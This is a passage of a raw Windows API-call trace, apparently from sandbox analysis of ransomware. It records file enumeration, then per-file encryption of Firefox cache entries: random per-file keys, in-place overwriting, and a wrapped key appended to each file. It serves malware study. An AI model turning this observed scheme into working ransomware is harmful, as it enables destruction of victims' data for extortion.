cAlternateFileName="2A0C54~1")) returned 1 [0182.153] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1137, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2A2631B4E21DE0654F50C86D5D9258EBDB245D08", cAlternateFileName="2A2631~1")) returned 1 [0182.153] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe01, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2A650CB5032027B0EF79F4B9916C5D43EEFEDB3A", cAlternateFileName="2A650C~1")) returned 1 [0182.153] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42c100ef, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x42c100ef, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42c100ef, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2A7F9C218AF57C32B146B82864B7FBDB08B612DA", cAlternateFileName="2A7F9C~1")) returned 1 [0182.154] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36514b8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc36514b8, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x45aebce0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2c2, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2AEEA30E1ABF20CE6EDCD6534789A8A96595E87A", cAlternateFileName="2AEEA3~1")) returned 1 [0182.154] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee9549, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7ee9549, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x856d77b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x12c3, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2B24068915A6A6D77F01D72F7883D0A5FF0907B6", cAlternateFileName="2B2406~1")) returned 1 [0182.154] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6b94c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1d6b94c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4e6a43d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2B784C0CEB48628D9FC88BC8A0D31E38CFC370A2", cAlternateFileName="2B784C~1")) returned 1 [0182.154] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435e1c2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x435e1c2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x43706bf, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2562, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2C1C3006E308780316B46ECD995A5336C781BEE6", cAlternateFileName="2C1C30~1")) returned 1 [0182.154] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1139, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2C416B78A7C89B5CDB81D93B1A303A39C7E34723", cAlternateFileName="2C416B~1")) returned 1 [0182.154] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3c21097, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3c21097, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc3c21097, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x2dfe, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2C6468600265AB1F5F8363AFD96F4AE7E91EE790", cAlternateFileName="2C6468~1")) returned 1 [0182.154] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1137, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2CA5871C48087826D8608DA52BA892CBBA1FC30E", cAlternateFileName="2CA587~1")) returned 1 [0182.155] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xdfe, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2D7DB1F2A5BBDE7DB3035CEA82134D2CF20D58AE", cAlternateFileName="2D7DB1~1")) returned 1 [0182.155] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43d0cd3a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x43d0cd3a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x43d0cd3a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1794, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2E08CDAEE955A40889AC5877BE194C7EF12394A5", cAlternateFileName="2E08CD~1")) returned 1 [0182.155] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42fefdeb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x42fefdeb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42fefdeb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x85f, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2EAFF2699FCEE0EDFEF4FF824C07727F657B0D45", cAlternateFileName="2EAFF2~1")) returned 1 [0182.155] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32979d2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc32979d2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc32bdc47, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x53c3, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2EEF955B1888DD216711A407C2CA7C4F0AEFD623", cAlternateFileName="2EEF95~1")) returned 1 [0182.155] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1163, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2EF13D470DA3BEC4B9CFDBE3175FE6120B7437C6", cAlternateFileName="2EF13D~1")) returned 1 [0182.155] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba081c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x3ba081c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x3ba1ba5, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x17d6, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2F08D45573A263CC6499DA6B1EF16B6DDFBC49C4", cAlternateFileName="2F08D4~1")) returned 1 [0182.155] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e4570d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc2e4570d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc2e4570d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc17, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2F803861A862CED3B233D955BAE181A1838202B7", cAlternateFileName="2F8038~1")) returned 1 [0182.155] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5581a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4e5581a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x54989d6, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2b9e52, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2FC942DAB73674FFE66C8A7BCD9230DFD3F9FA78", cAlternateFileName="2FC942~1")) returned 1 [0182.155] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1166, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2FD61AE1BA24124CC1923ECAFD4AAC3D50447717", cAlternateFileName="2FD61A~1")) returned 1 [0182.155] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90c92ac, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa90c92ac, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa90c92ac, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="31279F1295868B1758188226BB765EF87F3F8DB8", cAlternateFileName="31279F~1")) returned 1 [0182.155] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1e07506, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc1e07506, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3f24f4ed, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1eef, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="31592C8B017CA0508B5F0339E7E1EA46376F2D31", cAlternateFileName="31592C~1")) returned 1 [0182.155] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42fefdeb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x42fefdeb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42fefdeb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb6b4, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="32AFE38EED991EA004851E7C968397C7D9EA501C", cAlternateFileName="32AFE3~1")) returned 1 [0182.185] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2eea4d0 | out: pbBuffer=0x2eea4d0) returned 1 [0182.185] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0182.185] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FFD1022F7470CD59566BB3A7B6E168A4387700CA", dwFileAttributes=0x80) returned 1 [0182.186] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0xe3d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0xe3d, lpOverlapped=0x0) returned 1 [0182.188] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3645, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.188] WriteFile (in: hFile=0x1b80, lpBuffer=0x30efec0*, nNumberOfBytesToWrite=0xe3d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30efec0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe3d, lpOverlapped=0x0) returned 1 [0182.188] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe3d [0182.188] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.188] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2eea4d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2eea4d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.189] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eea4d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eea4d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.189] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.189] CloseHandle (hObject=0x1b80) returned 1 [0182.191] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2eea4d0 | out: pbBuffer=0x2eea4d0) returned 1 [0182.191] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0182.191] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FF308582A6E017961806B4F720E48F59AE7B2685", dwFileAttributes=0x80) returned 1 [0182.192] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x10e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x10e6, lpOverlapped=0x0) returned 1 [0182.201] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4326, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.201] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0168*, nNumberOfBytesToWrite=0x10e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0168*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10e6, lpOverlapped=0x0) returned 1 [0182.201] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10e6 [0182.201] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.201] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2eea4d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2eea4d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.202] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eea4d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eea4d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.202] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.202] CloseHandle (hObject=0x1b80) returned 1 [0182.204] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2eea4d0 | out: pbBuffer=0x2eea4d0) returned 1 [0182.204] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0182.204] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FEFCB3F72BAC64E46E92EB16FB65FAAA7ABABCD0", dwFileAttributes=0x80) returned 1 [0182.205] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x8fd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x8fd, lpOverlapped=0x0) returned 1 [0182.222] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.222] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ef980*, nNumberOfBytesToWrite=0x8fd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef980*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8fd, lpOverlapped=0x0) returned 1 [0182.266] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x8fd [0182.266] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.266] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2eea4d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2eea4d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.266] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eea4d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eea4d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.267] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.267] CloseHandle (hObject=0x1b80) returned 1 [0182.269] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2eea4d0 | out: pbBuffer=0x2eea4d0) returned 1 [0182.269] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0182.269] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FEC8E4F494F98E32D16548D6CF1EE3AE56ADAC21", dwFileAttributes=0x80) returned 1 [0182.270] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0xe46, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0xe46, lpOverlapped=0x0) returned 1 [0182.284] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3654, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.284] WriteFile (in: hFile=0x1b80, lpBuffer=0x30efec8*, nNumberOfBytesToWrite=0xe46, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30efec8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe46, lpOverlapped=0x0) returned 1 [0182.285] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe46 [0182.285] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.285] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2eea4d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2eea4d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.286] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eea4d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eea4d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.286] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.286] CloseHandle (hObject=0x1b80) returned 1 [0182.288] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2ee9a80 | out: pbBuffer=0x2ee9a80) returned 1 [0182.288] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0182.288] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FE6CE16384948BCF923653DC0B5758B3FF67298B", dwFileAttributes=0x80) returned 1 [0182.288] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x208bc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x208bc, lpOverlapped=0x0) returned 1 [0182.301] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-133308, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.301] WriteFile (in: hFile=0x1b80, lpBuffer=0x3520048*, nNumberOfBytesToWrite=0x208bc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3520048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x208bc, lpOverlapped=0x0) returned 1 [0182.302] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x208bc [0182.302] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.302] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ee9a80*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2ee9a80*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.303] WriteFile (in: hFile=0x1b80, lpBuffer=0x2ee9a80*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee9a80*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.303] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.303] CloseHandle (hObject=0x1b80) returned 1 [0182.305] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2ee9768 | out: 